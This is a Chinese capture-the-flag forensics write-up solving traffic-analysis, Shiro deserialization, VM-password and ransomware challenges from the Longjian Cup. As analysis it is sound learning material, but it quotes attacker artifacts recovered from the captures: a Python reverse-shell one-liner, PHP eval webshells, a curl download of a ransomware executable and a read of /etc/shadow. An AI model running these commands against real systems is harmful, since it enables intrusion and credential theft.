抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

一个人精力实在是抽不出来做AWD,所以光做了数据分析,所有分析题只差最后一道没解出来。
不过这次比赛没白准备,总排名70多。下次干回来!
本文首发于:先知社区:https://xz.aliyun.com/t/13177

半决赛

so_easy

so_easy_1

题目内容:登录的密码是多少,请输入md5加密的32位小写字符串

打开流量包看到是FTP流量,过滤ftp找到登录正确的用户名密码

这道题的答案就是md5(“test”)->098f6bcd4621d373cade4e832627b4f6

so_easy_2

题目内容:被加密的字符串是多少?

继续往下看流量,发现上传了个压缩包11.zip,这个先保存好,第三题会用到。后面上传了private_key.pempublic_key.pem,这两个文件内容分别是私钥和公钥。
又上传了个py.txt文件,是个加密函数的python脚本。

最后上传了encrypted.txt文件,这个就是加密后的文件。
那么根据提示就能做解密这个文件,用cyberchef解密一下。

所以这道题的答案是8dhn3edfna93rAPN

so_easy_3

题目内容:图片中隐藏的数字是多少?

之前说有个压缩包11.zip,解压出来是个bmp图片,打开发现图片不完整。

修复一下图片,这道题答案就是20230101

session

session-1

题目内容:通过注入得到的username是?

根据题目直接过滤http,又是老生常谈的先扫目录。后面能看到对于/upload的POST请求,对file参数进行SQL注入。

了解了一下大概的请求过程,确定注入的流量包序号范围,先确定这是一个盲注,注入成功是回显上传失败,注入成功回显是上传成功

写个脚本跑一下,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# extract_pcap.py  v1.1
import pyshark

pcap = pyshark.FileCapture(
"ss.pcapng", display_filter="http.request.uri==\"/upload\" or http.response.code == 200", tshark_path=R"D:\whitehat\tools\Wireshark\tshark.exe")

HTTPchat = {"req": {}, "res": {}} # 创建请求和响应的字典


def get_file_data(pkt): # 获取file_data
Data = None # 初始化Data
if int(pkt.http.content_length) == 0: # 检测是否有file_data
return None
if int(pkt.http.content_length) != len(pkt.http.file_data): # 检测file_data内容是否完整
reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
"DATA" in pkt) else pkt.TCP.payload.binary_value
Data = reassmbledData[reassmbledData.decode().find(
"\r\n\r\n")+4:]
if int(pkt.http.content_length) == len(Data): # 这段可以不用加,一般情况下都是完整的
# 在这里处理请求最后保存的数据
Data = Data.splitlines()[3]
else:
Data = pkt.http.file_data # 这里处理请求最后保存的数据
Data = Data.splitlines()[3]

return Data.decode()


def get_resp_data(pkt):
# 这里处理响应的内容
result = None # 初始化Data
if int(pkt.http.content_length) == 0: # 检测是否有file_data
return None
if int(pkt.http.content_length) != len(pkt.http.file_data): # 检测file_data内容是否完整
reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
"DATA" in pkt) else pkt.TCP.payload.binary_value
result = reassmbledData[reassmbledData.decode().find(
"\r\n\r\n")+4:]
if int(pkt.http.content_length) == len(result):
# 在这里处理响应最后保存的数据
if "上传成功".encode() in result:
result = 0
else:
result = 1

return result


for pkt in pcap:
if int(pkt.number) < 8231:
continue
if int(pkt.number) > 26584:
break
if pkt.http.chat.split(" ")[0] in ["GET", "POST"]: # 检测是否是请求
HTTPchat["req"][pkt.number] = get_file_data(pkt)
if pkt.http.chat.split(" ")[0] in ["HTTP/1.1"]: # 检测是否是响应
HTTPchat["res"][pkt.http.request_in] = get_resp_data(pkt)

# 寻找响应=1的请求
for key in HTTPchat["res"]:
if HTTPchat["res"][key] == 1:
print(key, HTTPchat["req"][key])

脚本把所有响应是上传失败的的跑出来,得到的结果是用户名为adminadmin111,密码是123456asdf
这道题的答案就是adminadmin111

session-2

题目内容:除了root用户,还有哪个用户含有root权限。

再往下看就是命令执行,能够看到读取了/etc/passwd

可以看到test用户的第三列是0,那么这道题的答案就是test

session-3

题目内容:通过debug读取的哪个文件没有找到(绝对路径)?

这个session-3和session-2,个人觉得这个应该是写反了,因为这个session-3的答案是在session-2之前。

可以看到命令执行首先读取了/etc/1,返回结果报错没有这个文件,因此这道题的答案就是 /etc/1

session-4

题目内容:通过什么命令反弹的shell,提交md5加密的32位小写字符串。

在流量的最后面,可以看到分别用了三种方式反弹shell,/bin/shncpython pty方式。

但是只有最后一种方式反弹成功,其余两种都报了语法错误。具体命令是

1
import os,pty,socket;s=socket.socket();s.connect(("172.16.127.1",3333));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")


所以这道题答案是7b75e76b64a25bd3d04ea82880c6d462

easy_shiro

easy_shiro-1

题目内容:shiro key是什么?

这道题给了日志文件,可以看到经典的shiro特征,rememberMe=deleteMe;。shiro攻击就是反序列化,反序列化肯定包含java这个关键字。

通篇找下来没有发现key,那就只剩爆破的方法了。结果还没有shiro的密码本,正在一筹莫展的时候发现fscan有一个shiro-key.yml。里面存放着一些常用的shiro key。

并且还有一个go写的加密脚本,依葫芦画瓢写了个python的解密脚本。这方面解密还参考了这篇文章Shiro反序列化分析带思路及组件检测笔记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Cipher import AES
import base64

with open("key.txt") as f:
key = f.readlines()
key = [x.strip() for x in key]
f.close()

encrypted = "Iz28dfd1...." # 寻找到响应状态200的请求,找到rememberMe的值
encryptedDecode = base64.b64decode(encrypted)

for k in key:
kDecode = base64.b64decode(k)
cipher = AES.new(kDecode, AES.MODE_CBC)
decrypted = cipher.decrypt(encryptedDecode)
if b"java" in decrypted:
print(k)
print(decrypted.decode("utf-8", errors="ignore"))
break

因此这道题答案就是4AvVhmFLUs0KTA3Kprsdag==

easy_shiro-2

题目内容:溯源攻击者的操作,其中有flag。

当时做这个题的时候没有思路,我先想的是先把所有的能base64解码的全部解码了,然后看看有什么特征注意的。发现倒数第二条数据POST一个user键值,于是解码发现是java class文件。


反编译发现是冰蝎马。那么把最后一条POST上去的数据解密看看。

可以看到flag,但是交到第二题答案不对。那么肯定第二题答案就在前面两条数据里。

前面两条唯一有用的就是rememberMe=...;。把之前的解密的序列化数据保存好,命名为decrypted_1。跟之前user的class文件做一下对比,发现文件头不一样并且开头是AC ED后续赛题复盘学习了下shiro关于cookie生成的流程,改了下之前代码的iv,具体流程查看第一篇参考文献),并且发现这是java序列化后的开头标识符。具体的序列化格式可以参考这篇文章SerializationDumper辅助研究ysoserial URLDNS反序列化原理

当时比赛是想的是你想执行代码,肯定是class形式的,那么直接找文件头看看有没有,就把user的class文件头CA FE BA BE拿过来在decrypted_1文件里面找,发现还真有。

于是把CA FE BA BE之后都复制出来,重命名为class文件放到IDEA里面反编译,一眼就能看到不一样的东西。

于是把这个数组运算用python写一下。返回的结果是cmd.exe /C "echo flag{6dfdc384d6025b2ab9b71ec15971aa11}"

1
2
3
4
5
6
7
8
var21 = [118, 120, 113, 59, 112, 109, 112, 53, 58, 86, 53, 55, 112, 118, 125, 122, 53, 115, 121, 116, 114, 110, 35, 113, 115, 113,
118, 38, 45, 33, 113, 35, 37, 39, 32, 119, 39, 116, 119, 44, 119, 34, 36, 112, 118, 36, 32, 44, 34, 36, 116, 116, 36, 36, 104, 55]
var22 = []

for i in var21:
var22.append(chr(i ^ 21))

print("".join(var22))

于是这道题的答案是flag{6dfdc384d6025b2ab9b71ec15971aa11}

easy_shiro-3

题目内容:攻击者植入了内存webshell,使用这个webshell做了什么,其中有flag

由第二题解题过程中可得,这个是第三题的答案flag{1198be3b489ae0ddf88d0e6733e88fa6}

决赛

win

win-1

题目内容:小明在一台电脑中获取了一个虚拟机文件以及桌面上存有rockyou.txt,打开虚拟机的密码是多少?

这个题打开vmx文件就能看到这就是上一届陇剑杯出过的虚拟机加密的题目2021陇剑杯-机密内存-解题过程分析。首先需要解密虚拟机,需要用的工具是pyvmx-cracker。但是会发现解密不了,对照了一下去年的原题,发现vmx文件多了个encryptedVM.guid = "",删除掉这一行就能解密了。


密码是somewhere,因此这道题的答案就是somewhere
(当时做这道题的时候,根据题目提示直接从kali里面找rockyou.txt,当时就用134M的密码本跑,结果给跑出来了,没想到最后是主办方给的密码本。)

win-2

题目内容:xshell链接的密码是多少?

通过自己本地电脑找到的xmanager存放的数据文件夹位置C:\Users\xxx\Documents\NetSarang Computer\7,同样能够在虚拟机里找到,版本是xshell6。

打开Sessions文件夹发现有一个新建会话.xsh文件,里面存放的就是ssh的连接信息。在这里面能够看到加密后的密码,具体xshell对于保存的ssh密码进行加密的流程在这里How does Xmanager encrypt password?。使用脚本进行解密最后结果是123456a


因此这道题的答案是123456a

win-3

题目内容:总共访问了几次 www.baidu.com?

打开原生的IE浏览器,没有发现有相关的历史记录。

打开火狐浏览器,寻找历史记录打开访问次数列。可以看到访问10次www.baidu.com。所以这道题答案就是**10**。

mid

mid-1

题目内容:从哪个文件中获得到后台的用户名密码?

打开流量包,过滤器http.response.code != 404,过滤掉那些404的请求,可以看到有个robots.txt,里面有一串base64,解码后发现是用户名密码。


因此这道题的答案就是robots.txt

mid-2

题目内容:admin的密码通过哪个函数进行加密存储,答案示例 exec()。

刚开始我以为是前端加密,疯狂寻找没有找到有用的。所以重点查看后面执行命令的地方。可以看到写入文件.1ndex.php的命令。但是访问这个文件发现没有权限。


于是重新了个文件是1ndex.php,并且成功访问此文件。

写入的文件内容是

1
<?php eval($_POST[hi]); ?>

于是后面的代码执行就顺理成章。发现后面对一些php文件进行有导出成txt的操作。

看到4.txt,就是Authentication.php的代码内容,可以看到代码注释是Create password hash from plaintext password.。加密函数用的是password_hash

那么这道题的答案就是password_hash

mid-3

题目内容:写入的第一次的shell的连接密码是多少?

在上题说过,第一次写入文件是.1ndex.php,把写入的文件内容找到。

解码后内容是<?php eval($_POST[1]); ?>,因此这道题的答案就是1

mid-4

题目内容:用户 hack 的密码是多少?

后面POST /1ndex.php,进行代码执行。解码后分析一下上传的代码,主要看输出的地方,可以看到输出缓冲区的内容被rot13编码了,并且头和尾增加了脏数据。


继续往下看,找到这条流量,分析代码,找到执行命令的位置。把base64去除前两位,解码就可以看到执行cd "/var/www/html";cat /etc/shadow;echo bdfbedc;pwd;echo fdc4afba5b

找到关于hacker的shadow信息,hack:$6$scJ3Xg1qPInqVVtG$JafeFeTcqSBmXTcbNAoGSyt4TkvZpvwLhLy89FM9c1fakLdkywf5eLzuFledt01PpOXncSUCHrW83PJ0VLC370:19586:0:99999:7:::

使用john进行破解,所以这道题的答案就是qwerty

ransom

ransom-1

题目内容:攻击者通过后门在受害机器上安装了勒索病毒,给出勒索病毒文件的sha256(大写)(注:该文件建议在虚拟机中打开)

过滤HTTP之后,通过后门进行命令执行。可以看到执行命令dir,返回结果如下

继续往下看,发现执行了一个curl命令curl 192.168.204.1:8000/test.exe --output test.exe。并且后续执行此exe,对某些文件进行了加密操作,因此这个test.exe就是勒索病毒。

所以这道题的答案就是223EA13EFD517D185708AFF1DA8B9CBBD9D1B97D1CB3E7B9107CDA2FFCB599C9

ransom-2

题目内容:勒索病毒对本地文件继续了加密,给出加密文件的数量

上道题可以看出,运行test.exe,会将secret.txt加密成secret.txt.enc。但是用http继续过滤时没有发现相关的流量,就很奇怪。于是把过滤器清空,发现有一段TCP流量,但是没有转换成HTTP。

于是追踪TCP流,可以看到总共是133个文件被加密。


所以这道题的答案就是133

ransom-3

题目内容:恢复被加密的secret.txt的内容

流量中发现读取了e:\tmp.txt,也读取secret.txt.enc。其中的细节需要逆向分析,这方面等有所成之后再来细究一下。

评论